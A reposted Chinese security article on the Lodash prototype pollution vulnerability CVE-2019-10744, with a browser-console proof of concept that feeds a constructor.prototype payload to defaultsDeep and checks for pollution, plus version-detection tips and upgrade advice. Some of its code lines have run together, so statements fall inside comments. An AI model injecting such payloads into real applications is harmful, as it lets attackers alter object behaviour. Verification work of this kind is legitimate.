lodash库原型污染漏洞(CVE-2019-10744)

admin 2026-05-07 04:44:50 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档分析了Lodash库4.17.11之前版本存在的原型污染漏洞(CVE-2019-10744),CVSS评分7.3的高危漏洞。通过defaultsDeep方法可实现原型链注入攻击,导致所有对象行为被篡改。提供了完整的漏洞复现POC代码与检测方法,并明确建议升级至4.17.12及以上版本进行修复。 综合评分: 82 文章分类: 漏洞分析,WEB安全,漏洞预警,解决方案,安全工具


cover_image

lodash库原型污染漏洞(CVE-2019-10744)

原创

zhang3 zhang3

NoteSec

2026年5月4日 22:34 甘肃

在小说阅读器读本章

去阅读

背景描述

Lodash 是一个 JavaScript 库,包含简化字符串、数字、数组、函数和对象编程的工具,可以帮助程序员更有效地编写和维护 JavaScript 代码。

在项目中有时会遇到Lodash指纹信息,或者漏扫扫描出相关漏洞,需要验证漏洞。

漏洞列表
CVE ID : CVE-2019-10744
漏洞等级: 高危
CVSS评分: 7.3
影响范围: 4.17.11之前的所有版本

漏洞复现

首先浏览器使用开发者模式,快捷键(Ctrl+Shift+I),进入控制台。然后在浏览器输入存在漏洞的网站,访问。

poc

// 保存Object原型的原始状态,用于测试后恢复const originalPrototype = Object.prototype.lodash;
// 定义测试用的payloadconst payload = '{"constructor": {"prototype": {"lodash": true}}}';
try {  // 解析payload并执行测试  const parsedPayload = JSON.parse(payload);
  // 执行可能存在安全问题的操作  _.defaultsDeep({}, parsedPayload);
  // 检测是否发生原型污染  if ({}.lodash === true) {    alert("存在原型污染漏洞\n\n" +           "Lodash的defaultsDeep方法未能正确处理原型链注入,\n" +          "这可能导致攻击者修改所有对象的行为。\n" +          "建议升级到Lodash 4.17.12或更高版本。");  } else {    alert("不存在原型污染漏洞\n\n" +          "Lodash的defaultsDeep方法已正确处理原型链注入,\n" +          "当前版本是安全的。");  }} catch (error) {  alert(`测试过程中发生错误: ${error.message}`);} finally {  // 恢复Object原型的原始状态,避免影响其他代码  if (originalPrototype === undefined) {    delete Object.prototype.lodash;  } else {    Object.prototype.lodash = originalPrototype;  }}

可以通过全局搜索找到lodash版本:

var a = "4.17.10"; // 这里的 `a` 变量存储了版本号

这段代码是 Lodash 4.17.10 的压缩版(minified)开头部分。

如果是未压缩版本,可以在文件头部看到:

/**
 * @license
&nbsp;* Lodash <https://lodash.com/>
&nbsp;* Version: 4.17.10
&nbsp;*/

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:NoteSec zhang3 zhang3《lodash库原型污染漏洞(CVE-2019-10744)》

评论:0   参与:  0